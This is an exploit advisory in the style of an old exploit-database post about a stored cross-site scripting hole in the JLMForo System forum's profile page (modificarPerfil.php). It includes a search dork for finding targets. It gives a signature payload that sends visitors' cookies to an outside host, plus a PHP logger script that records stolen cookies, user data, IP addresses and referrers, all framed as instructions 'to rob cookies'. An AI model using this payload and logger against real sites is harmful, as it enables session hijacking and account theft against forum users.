jlmforo-xss.txt

`# JLMForo System (modificarPerfil.php) Cross-Site Scripting Vulnerability  
# Download:  
# http://www.miscodigos.com/aplicaciones/JLMForo%20System/  
# Bug found by Jose Luis Góngora Fernández / JosS  
# Contact: sys-project[at]hotmail.com  
# Spanish Hackers Team  
# www.spanish-hackers.com  
# /server irc.freenode.net /join #fullsecure  
# d0rk: "Powered By JLMForo System"  
# Stop lammer  
  
# Explanation Basic :  
  
1.- Register in the forum (registro.php)  
2.- Put in your signature the XSS (modificarPerfil.php)  
3.- Create a subject  
4.- Wait to an answer to visualize the XSS  
  
# To Rob Cookies:  
  
1º- Register in the forum (registro.php)  
  
2º- Put in your signature the XSS (modificarPerfil.php):  
  
<script>window.location=’http://yousite.com/xss.php?cookie=’+document.cookie</script>  
  
3º- Upload in your Site:  
  
<?php  
$archivo = fopen('log2.htm','a');//Aquí podemos cambiar el nombre del archivo a crear  
$cookie = $_GET['c'];  
$usuario = $_GET['id'];   
$ip = getenv ('REMOTE_ADDR');  
$re = $HTTPREFERRER;  
  
$fecha=date("j F, Y, g:i a");  
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>   
  
IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');  
fclose($archivo);  
?>  
  
4º- Chmod 777 archive  
  
5º- Create a subject  
  
6º- Wait to an answer to run the XSS  
  
//---------------------------------------\\  
  
Greetz To: All Hackers  
Jose Luis Góngora Fernández / JosS!  
`